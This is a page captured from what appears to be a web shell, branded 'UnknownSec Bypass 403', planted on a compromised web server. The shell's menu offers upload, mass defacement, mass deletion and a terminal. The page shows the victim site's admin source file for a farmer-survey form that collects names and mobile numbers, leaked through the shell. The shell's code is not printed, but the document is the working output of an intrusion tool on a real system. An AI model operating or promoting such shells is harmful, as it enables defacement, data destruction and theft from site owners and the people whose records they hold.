UnknownSec Bypass
403
:
/
var
/
www
/
jpsagrisolution
/
cpanel
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
add_other_farmer_survey.php
<?php include "top.php";?> <script> $(document).ready(function() { var stateid = ""; gettotalstate(stateid); var id = getUrlVars()['id']; var op = getUrlVars()['op']; // Initialize State select2 $("#state").select2(); // Initialize District select2 $("#district").select2(); $("#block").select2(); $("#village").select2(); if(op=="Save") { $('#hdidentity').val(id); if(id==2) { $('#pageheading').text("Add Big Farmer"); } if(id==3) { $('#pageheading').text("Add Vegetable Farming Farmer"); } if(id==4) { $('#pageheading').text("Add Kirana Shop Owner"); } if(id==5) { $('#pageheading').text("Add Garden Farming Farmer"); } if(id==6) { $('#pageheading').text("Add Pound Farmer"); } if(id==7) { $('#pageheading').text("Add Nalkoop Farmer"); } } if (id != "" && op!="Save") { $.ajax({ method: 'POST', url: 'get_farmersurvey_details.php', data: '&id=' + id, dataType: "JSON", success: function(data) { //var obj = JSON.stringify(data); // var str = $.parseJSON(obj); $('#hdidentity').val(data.identity); $('#hdid').val(data.hdid); $('#farmername').val(data.farmername); $('#mobileno1').val(data.mobileno1); gettotalstate(data.stcode); getdistrict(data.stcode, data.distcode); getmanageblock(data.stcode,data.distcode,data.blockid); gettotalvillage1(data.stcode,data.distcode,data.blockid,data.villageid); if (op == "Update") { $('#pageheading').text("Edit Record"); $('#btnopration').text("Update"); document.getElementById("farmername").focus(); } else if (op == "Delete") { $('#pageheading').text("Delete Record"); $('#btnopration').text("Delete"); document.getElementById("village").setAttribute('disabled', true); document.getElementById("state").setAttribute('disabled', true); document.getElementById("district").setAttribute('disabled', true); document.getElementById("block").setAttribute('disabled', true); document.getElementById("mobileno1").setAttribute('disabled', true); } } }); } }); function getUrlVars() { var vars = [], hash; var hashes = window.location.href.slice(window.location.href.indexOf('?') + 1).split('&'); for (var i = 0; i < hashes.length; i++) { hash = hashes[i].split('='); vars.push(hash[0]); vars[hash[0]] = hash[1]; } return vars; } function gettotalstate(val) { $.ajax({ type: "Get", url: "get_total_state.php", success: function(res) { var data = JSON.parse(res); var sel = $("#state"); sel.empty(); $("#state").append('<option>Select State</option>'); for (var i = 0; i < data.length; i++) { if (data[i].stcode == val) { sel.append('<option value="' + data[i].stcode + '" selected=true>' + data[i] .statename + '</option>'); } else { sel.append('<option value="' + data[i].stcode + '">' + data[i].statename + '</option>'); } } /// $("#state").html(data); } }); } function getdistrict(val, disvalue) { $.ajax({ type: "POST", url: "get_district.php", data: 'state_id=' + val, success: function(res) { var data = JSON.parse(res); var sel = $("#district"); sel.empty(); $("#district").append('<option>Select District</option>'); for (var i = 0; i < data.length; i++) { if (data[i].distcode == disvalue) { sel.append('<option value="' + data[i].distcode + '" selected=true>' + data[i] .districtname + '</option>'); } else { sel.append('<option value="' + data[i].distcode + '">' + data[i].districtname + '</option>'); } } // $("#district").html(data); } }); } function getmanageblock(statevalue, disvalue,blockid) { if(blockid=="") statevalue= document.getElementById("state").value; $.ajax({ type: "POST", url: "get_manage_block.php", data: '&state_id=' + statevalue+'&district_id='+disvalue, success: function(res) { var data = JSON.parse(res); var sel = $("#block"); sel.empty(); for (var i = 0; i < data.length; i++) { if (data[i].bid == blockid) { sel.append('<option value="' + data[i].bid + '" selected=true>' + data[i] .blockname + '</option>'); } else { sel.append('<option value="' + data[i].bid + '">' + data[i] .blockname + '</option>'); } } // $("#district").html(data); } }); } function gettotalvillage1(statevalue, disvalue,blockid,villageid) { $.ajax({ type: "POST", url: "get_manage_village.php", data: '&state_id=' + statevalue+'&district_id='+disvalue+'&block_id='+blockid, success: function(res) { var data = JSON.parse(res); var sel = $("#village"); sel.empty(); for (var i = 0; i < data.length; i++) { if (data[i].vid == villageid) { sel.append('<option value="' + data[i].vid + '" selected=true>' + data[i] .villagename + '</option>'); } else { sel.append('<option value="' + data[i].vid + '">' + data[i] .villagename + '</option>'); } } // $("#district").html(data); } }); } function gettotalvillage(statevalue, disvalue,blockid,villageid) { if(villageid=="") statevalue= document.getElementById("state").value; disvalue= document.getElementById("district").value; $.ajax({ type: "POST", url: "get_manage_village.php", data: '&state_id=' + statevalue+'&district_id='+disvalue+'&block_id='+blockid, success: function(res) { var data = JSON.parse(res); var sel = $("#village"); sel.empty(); for (var i = 0; i < data.length; i++) { if (data[i].vid == villageid) { sel.append('<option value="' + data[i].vid + '" selected=true>' + data[i] .villagename + '</option>'); } else { sel.append('<option value="' + data[i].vid + '">' + data[i] .villagename + '</option>'); } } // $("#district").html(data); } }); } function selectCountry(val) { $("#search-box").val(val); $("#suggesstion-box").hide(); } function saveformer() { var flag = true; var inputField1 = document.getElementById("state"); if (inputField1.value == "Select State") { flag = false; alert("Please select state name"); document.getElementById("state").focus(); return false; } var inputField2 = document.getElementById("district"); if (inputField2.value == "Select District") { flag = false; alert("Please select district name"); document.getElementById("district").focus(); return false; } var inputField3 = document.getElementById("block"); if (inputField3.value == "0") { flag = false; alert("Please select block name"); document.getElementById("block").focus(); return false; } var inputField4 = document.getElementById("village"); if (inputField4.value == "0") { flag = false; alert("Please enter village name"); document.getElementById("villagename").focus(); return false; } var inputField5 = document.getElementById("farmername"); if (inputField5.value == "") { flag = false; alert("Please enter farmer name"); document.getElementById("farmername").focus(); return false; } var inputField6 = document.getElementById("mobileno1"); if (inputField6.value == "") { flag = false; alert("Please enter mobileno1"); document.getElementById("mobileno1").focus(); return false; } var state = document.getElementById("state").value; var district = document.getElementById("district").value; var block = document.getElementById("block").value; var villagename = document.getElementById("village").value; var farmername = document.getElementById("farmername").value; var mobileno1 = document.getElementById("mobileno1").value; var hdidentity = document.getElementById("hdidentity").value; var hdid = document.getElementById("hdid").value; var btnopration = document.getElementById("btnopration").innerHTML; var text = "Do You Want " + btnopration + " Farmer Survey Details."; if (confirm(text) == false) { flag = false; return false; } try { if (flag == true) { var urlgetcode = 'manage_other_farmer_details.php'; $.ajax({ method: 'POST', url: urlgetcode, data: '&villagename=' + villagename + '&block=' + block + '&state=' + state + '&district=' + district +'&farmername=' + farmername +'&mobileno1=' + mobileno1+'&hdidentity=' + hdidentity+ '&hdid=' + hdid + '&btnopration=' + btnopration, dataType: 'json', async: true, cache: false, success: function(msg) { if (msg == "1") { alert("Save Successfully"); $('#hdid').val(""); $('#village').val("Select"); $('#block').val("Select"); $('#state').val("Select"); $('#district').val("Select"); $('#farmername').val(""); $('#fathername').val(""); $('#mobileno1').val(""); $('#btnopration').text("Save"); if(document.getElementById("hdidentity").value==2){ window.location.href = "list_big_farmer_survey.php"; } if(document.getElementById("hdidentity").value==3){ window.location.href = "list_vegetable_farmer_survey.php"; } if(document.getElementById("hdidentity").value==4){ window.location.href = "list_kiranashop_farmer_survey.php"; } if(document.getElementById("hdidentity").value==5){ window.location.href = "list_gardening_farmer_survey.php"; } if(document.getElementById("hdidentity").value==6){ window.location.href = "list_pound_farmer_survey.php"; } if(document.getElementById("hdidentity").value==7){ window.location.href = "list_boring_farmer_survey.php"; } } else if (msg == "2") { alert("Mobile No. Already Exist"); $('#village').val("Select"); $('#block').val("Select"); $('#state').val("Select"); $('#district').val("Select"); $('#farmername').val(""); $('#fathername').val(""); $('#mobileno1').val(""); $('#btnopration').text("Save"); if(document.getElementById("hdidentity").value==2){ window.location.href = "list_big_farmer_survey.php"; } if(document.getElementById("hdidentity").value==3){ window.location.href = "list_vegetable_farmer_survey.php"; } if(document.getElementById("hdidentity").value==4){ window.location.href = "list_kiranashop_farmer_survey.php"; } if(document.getElementById("hdidentity").value==5){ window.location.href = "list_gardening_farmer_survey.php"; } if(document.getElementById("hdidentity").value==6){ window.location.href = "list_pound_farmer_survey.php"; } if(document.getElementById("hdidentity").value==7){ window.location.href = "list_boring_farmer_survey.php"; } } else if (msg == "3") { alert("Update Successfully"); $('#village').val("Select"); $('#block').val("Select"); $('#state').val("Select"); $('#district').val("Select"); $('#farmername').val(""); $('#fathername').val(""); $('#mobileno1').val(""); $('#btnopration').text("Save"); if(document.getElementById("hdidentity").value==2){ window.location.href = "list_big_farmer_survey.php"; } if(document.getElementById("hdidentity").value==3){ window.location.href = "list_vegetable_farmer_survey.php"; } if(document.getElementById("hdidentity").value==4){ window.location.href = "list_kiranashop_farmer_survey.php"; } if(document.getElementById("hdidentity").value==5){ window.location.href = "list_gardening_farmer_survey.php"; } if(document.getElementById("hdidentity").value==6){ window.location.href = "list_pound_farmer_survey.php"; } if(document.getElementById("hdidentity").value==7){ window.location.href = "list_boring_farmer_survey.php"; } } else if (msg == "4") { alert("Delete Successfully"); $('#village').val("Select"); $('#block').val("Select"); $('#state').val("Select"); $('#district').val("Select"); $('#farmername').val(""); $('#fathername').val(""); $('#mobileno1').val(""); $('#btnopration').text("Save"); if(document.getElementById("hdidentity").value==2){ window.location.href = "list_big_farmer_survey.php"; } if(document.getElementById("hdidentity").value==3){ window.location.href = "list_vegetable_farmer_survey.php"; } if(document.getElementById("hdidentity").value==4){ window.location.href = "list_kiranashop_farmer_survey.php"; } if(document.getElementById("hdidentity").value==5){ window.location.href = "list_gardening_farmer_survey.php"; } if(document.getElementById("hdidentity").value==6){ window.location.href = "list_pound_farmer_survey.php"; } if(document.getElementById("hdidentity").value==7){ window.location.href = "list_boring_farmer_survey.php"; } } }, error: function(request) { alert(request.responseText); } }); } } catch (Error) { alert(Error); } return; } </script> <div id="page-wrapper" class="gray-bg dashbard-1"> <div class="content-main"> <!--banner--> <div class="banner"> <table width="100%"> <tr> <td width="50%"><b><label name="pageheading" id="pageheading">Add Big Farmer Survey</label></b></td> <!--<td width="50%" align="right"><a class="btn btn-default" href="list_other_farmersurvey.php">Big Farmer List</a></td>--> </tr> </table> </div> <!--//banner--> <!--grid--> <div class="validation-system"> <div class="validation-form"> <!----> <input type="hidden" class="form-control1" id="hdidentity" name="hdidentity"> <input type="hidden" class="form-control1" id="hdid" name="hdid"> <div class="vali-form vali-form1"> <div class="col-md-6 form-group1"> <label class="control-label">State</label> <select onChange="getdistrict(this.value,'');" name="state" id="state" class="form-control" style="width: 100%;" required> </select> </div> <div class="col-md-6 form-group1 form-last"> <label class="control-label">District</label> <select name="district" id="district" onChange="getmanageblock('',this.value,'');" class="form-control" style="width: 100%;"> </select> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-6 form-group1"> <label class="control-label">Block</label> <select name="block" id="block" onChange="gettotalvillage('','',this.value,'');" class="form-control" style="width: 100%;" required> </select> </div> <div class="col-md-6 form-group1 form-last"> <label class="control-label">Village</label> <select name="village" id="village" class="form-control" style="width: 100%;"> </select> </div> <div class="clearfix"> </div> </div> <div class="vali-form vali-form1"> <div class="col-md-6 form-group1"> <label class="control-label">Farmer Name</label> <input type="text" class="form-control1" id="farmername" name="farmername" placeholder="Farmer Name" required=""> </div> <div class="col-md-6 form-group1"> <label class="control-label">Mobile No.1</label> <input type="text" class="form-control1" id="mobileno1" name="mobileno1" placeholder="Mobile No." required=""> </div> <div class="clearfix"> </div> </div> <div class="col-md-12 form-group"> <button type="submit" id="btnopration" onclick="saveformer();" class="btn btn-primary">Save</button> </div> <div class="clearfix"> </div> <!----> </div> </div> <!--//grid--> <?php include "footer.php";?>
Copyright © 2025 - UnknownSec